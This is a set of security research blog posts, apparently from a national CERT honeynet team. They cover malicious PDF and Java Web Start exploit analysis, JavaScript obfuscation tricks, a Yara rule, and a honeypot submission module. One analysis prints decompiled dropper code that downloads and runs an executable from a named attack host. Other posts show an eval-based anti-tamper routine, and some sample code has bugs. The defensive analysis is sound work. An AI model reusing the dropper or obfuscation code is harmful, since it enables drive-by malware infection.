ruby mysql blob

Recently, one of mycert’s internal project required that PDF files to be saved into the database (MyQL). Since its is not easy to find the sample code via Google,  here’s a quick note for future reference.

fContent = File.open("/path/file", "wb").read()
db = Mysql.new('localhost', 'user', 'password', 'database')
st = db.prepare("insert into tableA( fieldBlob) values (?)")
st.execute(fContent)

Another thing is that the max file size for blob is 64k. To store more than that, one need to use ‘longblob’. Not sure what is the max size for this type. Otherwise, your binary just been truncated by mysql without any warning (I spend quite some time debugging the code before realizing this. Happy trying!

Analysis on Java Web Start Argument Injection Exploit

The recent discovery of Java Web Start Argument Injection vulnerability (CVE-2010-0886 and CVE-2010-0887) has opened a new opportunity for the bad guy to utilize it in drive-by download attack.

Here is a short write up on the example (in the wild) found early today, which exploiting this vulnerability.

The exploit was found on http://buckomre.com/ and here are the sequence of attack once opened on a vulnerable machine:

  1. http://buckomre.com/ <- The main exploit page
  2. http://buckomre.com/50035/44680 <- A PDF exploit (but we are not going to discuss about it in this entry)
  3. http://buckomre.com/50035/value3.php <- Here is where the Java vulnerability is triggered
  4. http://buckomre.com/50035/C0.php <- The JAR file that will be executed by the previous page
  5. http://buckomre.com/50035/54098876 <- The actual malware that will be downloaded and execute by the JAR

You can get more details from the Wepawet analysis result.

The 4th link from the list above will lead you to a JAR file called t4.jar. JAR file? A Java malware? It is not really a java malware. The t4.jar will later download a binary (MD5: 5493bb325f4b3a1cc6efab226d1c4600 ) , which is the real malware, and execute it.

Lets see the snip code of the JAR file once decompiled :

import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;

public class Main
{
  public static void main(String[] args)
    throws Exception
  {
    String exeurl = "http://buckomre.com/50035/54098876";

    String s = System.getProperty("os.name").toLowerCase();
    if (s.indexOf("win") < 0) {
      return;
    }

    try
    {
      URL url = new URL(exeurl);
      url.openConnection();
      InputStream inputstream = url.openStream();
      String fn = System.getProperty("java.io.tmpdir") + "\\" + Math.pow(Math.random() * 1000.0D, 3.0D) + ".exe";
      FileOutputStream fileoutputstream = new FileOutputStream(fn);

      for (int l = 0; (k = inputstream.read()) != -1; ++l)
      {
        int k;
        fileoutputstream.write(k);
      }
      inputstream.close();
      fileoutputstream.close();
      Runtime.getRuntime().exec(fn);
    }
    catch (Exception fe)
    {
    }
  }
}

And finally lets see the result of Anubis analysis on the binary downloaded.

Oracle has released a security update for this issue on April 15, 2010. Users are highly encouraged to download the most recent release of Java SE to address these vulnerabilities.

Embedded Zbot trojan inside PDF file

We came across this new variant of malicious PDF that contains a ZBot infostealer Trojan.

When a user open the PDF file, a pop up will ask the whether the user would like  to save  a file called Royal_Mail_Delivery_Notice.pdf.  The unsuspecting user might assume that the file is just a PDF file, and therefore will just save in in a local drive.

However, instead of  saving the PDF,  a Windows executable (a Zbot Trojan executable file) will be executed and consequently takes control of the computer.

This malicious PDF is actually able to execute an embedded executable without exploiting any vulnerability. It uses the PDF functionality known as  /Launch. In this particular sample, it will ask to save the file that is claimed to be a PDF file and when the users clicked “Open”, the PDF file saved will be executed.

This screen shot containing the code snippet above shows that the malicious PDF file uses /Launch action to run Windows command. The command will find the saved Royal_Mail_Delivery_Notice.pdf and execute it silently.

In the screen shot above, the function, this.exportDataObject() will open the file attachment with the specific file cName “Royal_Mail_Delivery_Notice”. Note that the second input parameter, nLaunch, which is set to 0, will cause the file to be saved on local machine.

To identify where the file is stored inside PDF file, we can trace it through the cName input parameter which happens to be at object 9.

In object 9, the file is not stored there but instead  redirected to object 10 through dictionary /EmbeddedFiles and in object 10 it once again it gets redirected to object 11 through dictionary /Names.

Following the multiple ‘redirection’, we end up  at object 11. Here we can see that object 11 was declared as Filespec object type. It indicates that this object contains the file specification details about the embedded file. According to PDF Reference (2nd Edition), within Filespec object type, the value of the dictionary key /EF is an embedded file stream containing the corresponding file, so in this case, the file stream inhabits inside object 12.

Gotcha! The file stream indeed located inside object 12. From the stream above (after inflated from FlateDecode), it is clear that it is a file stream for an executable file, specifically PE file while the /Subtype is declared as a PDF file.

From here, we can dump the stream to a file for further analysis. Happy analyzing.

Referencing yourself with arguments.callee()

Obfuscation using arguments.callee() in java scripts is widely seen in  browser exploitation and malicious PDF attacks. This kind of obfuscation could be a bit tricky to handle for security analyst.

The arguments.callee() call is used normally to prevent security analyst from modifying the malicious function. The variable that holds the arguments.callee will be validated in order to detect whether code has be altered or not. If yes, then the code will generate  a false result or no result at all.

Based on the JavaScript reference, the variable that is assigned with arguments.callee() will store the function’s content where the call is residing. The example below is a simple JavaScript code that validates the length of the characters in the function’s content. If the function is altered and the length is increased, the false result will be called.

function malicious_fn(arg1, arg2) {
 var validate = arguments.callee.toString();
 if (validate.length <= 198) {
   eval(unescape(arg1));
 }
 else {
   eval(unescape(arg2));
 }
}

malicious_fn("%54%68%69%73%20%69%73%20%6d%61%6c%69%63%69%6f%75%73%21","%54%68%69%73%20%69%73%20%6e%6f%74%20%6d%61%6c%69%63%69%6f%75%73%21");

In order to bypass this kind of obfuscation trick, we can circumvent the trap by replacing the  variable ‘validate’ with the original malicious_fn function.

function malicious_fn(arg1, arg2) {
 var validate = unescape("%66%75%6e%63%74%69%6f%6e%20%6d%61%6c%69%63%69%6f%75%73%5f%66%6e%28%61%72%67%31%2c%20%61%72%67%32%29%20%7b%0d%0a%09%76%61%72%20%76%61%6c%69%64%61%74%65%20%3d%20%61%72%67%75%6d%65%6e%74%73%2e%63%61%6c%6c%65%65%2e%74%6f%53%74%72%69%6e%67%28%29%3b%0d%0a%0d%0a%09%69%66%20%28%76%61%6c%69%64%61%74%65%2e%6c%65%6e%67%74%68%20%3c%3d%20%31%39%38%29%20%7b%0d%0a%09%09%65%76%61%6c%28%75%6e%65%73%63%61%70%65%28%61%72%67%31%29%29%3b%0d%0a%09%7d%0d%0a%09%65%6c%73%65%20%7b%0d%0a%09%09%65%76%61%6c%28%75%6e%65%73%63%61%70%65%28%61%72%67%32%29%29%3b%0d%0a%09%7d%0d%0a%7d");

 if (validate.length <= 198) {
   eval(unescape(arg1));
 }
 else {
   eval(unescape(arg2));
 }
}

malicious_fn("%54%68%69%73%20%69%73%20%6d%61%6c%69%63%69%6f%75%73%21","%54%68%69%73%20%69%73%20%6e%6f%74%20%6d%61%6c%69%63%69%6f%75%73%21");

This example code is just a basic demonstration of how arguments.callee() is practically being used in real malicious code. Bear in mind that there are hundreds of ways arguments.callee() can be used to make your life miserable as an analyst. The is only  way for us to handle this annoyance is by understanding how the code works.

Yara Rule For CVE-2010-0805

The Internet Explorer Tabular Data Control ActiveX Memory Corruption (CVE-2010-0805) exploit was recently ported to Metasploit, so we decided to release the detection rule for Yara. Yes it can also be used with JSunpack!

rule MSIETabularActivex
{
        meta:
                ref = "CVE-2010-0805"
                impact = 7
                hide = true
        strings:
                $cve20100805_1 = "333C7BC4-460F-11D0-BC04-0080C7055A83" nocase fullword
                $cve20100805_2 = "DataURL" nocase fullword
                $cve20100805_3 = /value\=\"http:\/\/(.*?)\"/ nocase fullword
        condition:
               ($cve20100805_1 and $cve20100805_3) or (all of them)
}

Credit:

  1. ZSploit.com
  2. Metasploit
  3. @d3t0n4t0r

pKaji: The PHP Analyzer

pKaji is a free service provided by MyCERT that allows one to analyze  PHP codes.  It facilitates detection of network activities and other potentially malicious activities within the code by using the ‘hooking’ technique. Basically, it uses the APD (Advance PHP Debugger) extension to hook the original PHP built-in function.

Using pKaji

To use pKaji, a user can upload a valid PHP file to pKaji with a size smaller than 1 Mb at https://blog.honeynet.org.my/pKaji/. The front-end of pKaji will forward the request to the pKaji-core engine. The process will probably take a few minutes depending on the server workload.

Result of the analysis will be in shown in xml format displaying each of the parameter sent to the function called.

Output Example

PHP code XML Output
set_time_limit(0); <function_call>
<name>set_time_limit</name>
<parameter>seconds=0</parameter>
</function_call>
fsockopen(“irc.neoshell.org”,”6667”, &$err_num, &$err_msg, 30); <function_call>
<name>fsockopen</name>

<parameter>host=irc.neoshell.org, port=6667, , , 30</parameter>
</function_call>

echo “ID: ShiroHige<br>”; <function_call>
<name>echo</name>
<parameter>$str=”ID: ShiroHige<br>”</parameter>

</function_call>

@getenv(“SERVER_ADDR”); <function_call>
<name>getenv</name>

<parameter>$varname=SERVER_ADDR</parameter>
</function_call>

To upload a file, you need to have account. You can request the login credentials via email honeynet [at] cybersecurity.my . Just tell us a bit about yourself and be patient 🙂 We definitely look forward to working with security teams and researchers in the future.

Bashing The Wildcard

This is quick note about wildcard usage for the  Linux command line particularly on  how to select/include some files among the others.

Let say you have a directory  that contains the following files:

$ls mh
apache-log.tar.gz.00
apache-log.tar.gz.01
apache-log.tar.gz.02
apache-log.tar.gz.03
apache-log.tar.gz.04
apache-log.tar.gz.05
apache-log.tar.gz.06
apache-log.tar.gz.07
apache-log.tar.gz.08
apache-log.tar.gz.09
apache-log.tar.gz.10
apache-log.tar.gz.11
apache-log.tar.gz.12
apache-log.tar.gz.13

To copy the first 10 files,  you can do this

$cp apache*0[0-9] cperdana/

The command will copy file apache-log.tar.gz.00 to apache-log.tar.gz.09 into the cperdana. The key here is that the  * and the square bracket character.

Now comes the tricky part. How  do you copy the last 9 of the files (apache-log.tar.gz.05 – apache-log.tar.gz.13)

In regular expression, I would put the ‘OR’ character (|), which looks like this:
$cp apache*(0[5-9]|1[0-3]) cperdana/

But apparently, this will not produce the expected result, instead bash will throw an error.

So how to do that?
The magic character we are looking is the ‘curly bracket’ 🙂
$ls manchaster{United,City}
will result manchasterUnited and manchasterCity only.

As our problem, here how to go about it
$cp apache*{0[5-9],1[0-3]} cperdana/

/Info does give an info :)

Common PDF dictionary used inside malicious PDF are /Author, /Producer, /Title, and /Subject which use reference from this.info.author, this.info.producer, this.info.title, and this.info.subject respectively.

The PDF dictionary mentioned above are located inside the /Info referenced object. This can be identified from the reference variable above (e.g: this.info.title) used inside JavaScript code. For instance;

this /* means that in this very own PDF file */
.
info /* which refer to the object of /Info */
.
title /* which refer to the /Title object reference */

However, recently, I’ve stumbled upon a PDF dictionary that is not defined inside the  PDF Reference. By reading through its reference variable, this.info.autor, it is certain that the obfuscated malicious code reside in the object referenced at /autor.

Check the trailer dictionary (usually at the end of PDF content) to view the object number referenced to /Info. In this case, object 9 0 R

From object 9 0, we know /autor is reference to content inside object 5 0 R


Snippet from object 5 0 R

Observation of Common String Obfuscation Trick

String obfuscation has become an enemy of string/pattern matching since forever. With string obfuscation tricks, string/pattern matching with no proper handling will surely return no significant results. This kind of tricks has to be taken into consideration when developing a security tool with string/pattern matching as its one of the main engine.

In this post, we will going to look at few (yet famous) of the common obfuscation trick that are being used in JavaScript code.

String concatenation with “+” or ‘+’

This obfuscation trick is commonly being used in malicious JavaScript code. String concatenation in JavaScript functionalities allows actual string to be concatenated with the character “+” or ‘+’. For instance, document.write(“th”+”is”+” is “+”mal”+”iciou”+”s!”); are equivalent with document.write(“this is malicious!”); even though the form and length are not equal.

Comment

Comment obfuscation are also become a nuisance in deobfuscating the Javascript code. The previous example, document.write(“this is malicious!”); can also be represent into document/* comment 1 */.write/* comment 2 */(“this is malicious!”/* comment 3 */); which is also valid for code execution. This technique is also one of the preferred obfuscation to be included by attacker inside the malicious code.

Long spaces

Another annoying technique used in the malicious JavaScript code is the long spaces/tabs.  In long spaces/tabs, normal code like document.write(“this is malicious!”); usually will represent something like document.write( “this is malicious!”); depending on the attackers’ creativity.

Analyst might need to take a proper string handling before string/pattern matching detection took place since the mentioned string obfuscation tricks above will surely evade the success of string/pattern matching –based tool. It is undoubtedly that analyst will have to give a huge effort in order for analysis tool to be useful for future usage.

Keep in mind that all of the above tricks are part of the JavaScript’s valid functionalities. Most of the scripting language also provide this kind of features and functionalities, and most of the programmers are benefited in good ways with these functionalities. Its idea is not for obfuscation but rather for flexibility in programming style. But good usually packaged with bad, and manipulation of this good functionalities makes it become a obfuscation trick for destructive purposes.

DIONAEA:submission module

Mark Schloesser spoke about Dionea during his presentation at the  FIRST-TC KL 2009, last December and that got us really excited. A few MyCERT folks  had a chance to do a ‘class’ with him as well and got some exposure with the its internal.

We are replacing some of the nepenthes instances with  Dionaea . However, the lack of centralized logging and submission features on Dionaea, required us to code our own submission module. At first, it was a little bit confusing (due to my lack of understanding on Dionaea inner working code) on the process to build the module. After a few IRC sessions (Dionaea’s IRC is @freenode on #nepenthes) with Markus ( Dionaea Developer) , we managed to get the module working (we dump binaries and connection log too). Below is some output from submission log:

2010-01-29 :12:05:26	sensor1	lala@gmail.com	192.168.93.1	51419	192.168.93.130	135	http://192.168.93.1/~mahmud/hafix.exe	attempt
2010-01-29 :12:06:03	sensor1	lala@gmail.com	192.168.93.1	51421	192.168.93.130	135	http://192.168.93.1/~mahmud/hafix.exe	attempt
2010-01-29 :12:06:03	sensor1	lala@gmail.com	192.168.93.1	51421	192.168.93.130	135	http://192.168.93.1/~mahmud/hafix.exe	success	e28b655de7fd0ec1ac3d2d6fc9c65094
2010-01-31 :02:23:16	sensor1	lala@gmail.com	192.168.93.1	60496	192.168.93.130	135	http://192.168.93.1/~mahmud/hafix.exe	attempt

Below is the module for the submission (bare in mind, that this my 1st time coding in Python). Please refer to few modules such as surfids.py,logsql.py, test.py to have more examples on using the modules.

from dionaea import ihandler, incident, g_dionaea
from dionaea import connection
import logging
import json
import time
global p

logger = logging.getLogger('submission')
logger.setLevel(logging.DEBUG)

class mycertsubmitdownloadihandler(ihandler):
        def __init__(self, path):
                logger.debug("%s ready!" % (self.__class__.__name__))
                ihandler.__init__(self, path)
        def handle_incident_dionaea_download_complete_hash(self,icd):
                logger.debug("submitting file to submission server")
                try:
                        tos = g_dionaea.config()['submission']
                except:
                        return

                for to in tos:
                        if 'urls' not in g_dionaea.config()['submission'][to]:
                                logger.warn("your configuration lacks urls to submit to %s" % to)
                                continue
                        for url in g_dionaea.config()['submission'][to]['urls']:
                                i = incident("dionaea.upload.request")
                        #       i=icd
                                i.url = url
                                i.flags = 'success'
                                i.file = icd.file
                                i.repo_ip = icd.url
                                i.attacker_ip = icd.con.remote.host
                                i.sensor_ip = icd.con.local.host
                                i.timestamp = str(time.strftime("%Y%m%d:%H:%M:%S", time.localtime()))
                                i.md5 = icd.md5hash
                                i.attacker_port = str(icd.con.remote.port)
                                i.sensor_port = str(icd.con.local.port)

                                # copy all values for this url for submission's section
                                for key in g_dionaea.config()['submissiont'][to]:
                                        if key == 'urls':
                                                continue

                                        i.set(key, g_dionaea.config()['submission'][to][key])
                                i.report()

        def handle_incident_dionaea_download_offer(self, icd):
                logger.debug("submitting attempt download info  to submission server")
                try:
                        tos = g_dionaea.config()['submission']
                except:
                        return

                for to in tos:
                        if 'urls' not in g_dionaea.config()['submission'][to]:
                                logger.warn("your configuration lacks urls to submit to %s" % to)
                                continue
                        for url in g_dionaea.config()['submission'][to]['urls']:
                                i = incident("dionaea.upload.request")
                                i.url = url
                                #i.file = icd.file
                                i.flags='attempt'
                                i.repo_ip = icd.url
                                i.attacker_ip = icd.con.remote.host
                                i.sensor_ip = icd.con.local.host
                                i.timestamp = str(time.strftime("%Y%m%d:%H:%M:%S", time.localtime()))
                                #i.md5 = icd.md5hash
                                i.attacker_port = str(icd.con.remote.port)
                                i.sensor_port = str(icd.con.local.port)

                                # copy all values for this url for submission's section
                                for key in g_dionaea.config()['submission'][to]:
                                        if key == 'urls':
                                                continue
                                        i.set(key, g_dionaea.config()['submission'][to][key])
                                i.report()

The Dionaea’s config file need to be changed to reflect the module. Here is the sample for the Dionaea’s config (only portion of submission’s part):

submission =
{
        mysubmit =
        {
                urls = ["http://your_url_here/upload.php"]
                sensorname="sensor1"
                email = "lala@gmail.com"
                file_fieldname = "upfile"
                user = "user1"
                MAX_FILE_SIZE = "1500000"
                pass = "yourpassword"
                submit        = "Submit for analysis"
        }
}

As for upload.php, you can use similar code here (warning: this is just a sample code, modify accordingly to fit your security requirements):

Email:
Filename:
[php start] #blog failed to render php start tag $flag_download=$_POST['flags']; //for flag about success download or attemp [will check against data submit by module] $timestamp= $_POST['timestamp']; $sensor = $_POST['sensorname']; $email = $_POST['email']; $attacker_ip = $_POST['attacker_ip']; $attacker_port = $_POST['attacker_port']; $repo_ip = $_POST['repo_ip'];$sensor_ip = $_POST['sensor_ip']; $sensor_port= $_POST['sensor_port']; $md5hash=$_POST['md5']; //test logging into text file $stringData =$timestamp ."\t" . $sensor ."\t" .$email ."\t" . $attacker_ip ."\t" . $attacker_port ."\t" . $sensor_ip ."\t" . $sensor_port ."\t" . $repo_ip ."\t" . $flag_download ."\t" .$md5hash ."\n"; $myFile = "testFile.txt"; $fh = fopen($myFile, 'a') or die("can't open file"); fwrite($fh, $stringData); if(preg_match("/php/i",$_FILES["upfile"]["name"])) { echo "wthexx?? "; exit(); } else { echo "Upload: " . $_FILES["upfile"]["name"] . ""; echo "Type: " . $_FILES["upfile"]["type"] . ""; echo "Size: " . ($_FILES["upfile"]["size"] / 1024) . " Kb"; echo "Temp file: " . $_FILES["upfile"]["tmp_name"] . ""; if (file_exists("binaries/" . md5_file($_FILES["upfile"]["tmp_name"]))) { echo md5_file($_FILES["upfile"]["tmp_name"]) . " already exists. "; } else { move_uploaded_file($_FILES["upfile"]["tmp_name"],"binaries/". md5_file($_FILES["upfile"]["tmp_name"])); echo "Stored in: " . "binaries/" .md5_file($_FILES["upfile"]["tmp_name"]); } } [end php] #again, blog failed to render php end tag

Recently Markus mentioned about xmpp support on Dionaea. This is very exciting news as well. Now you’ve got a very flexible distributed environment for Dionaea.

For now, we’re happy with this implementation and will wait for xmpp support on Dionaea as well. 🙂

–  mahmud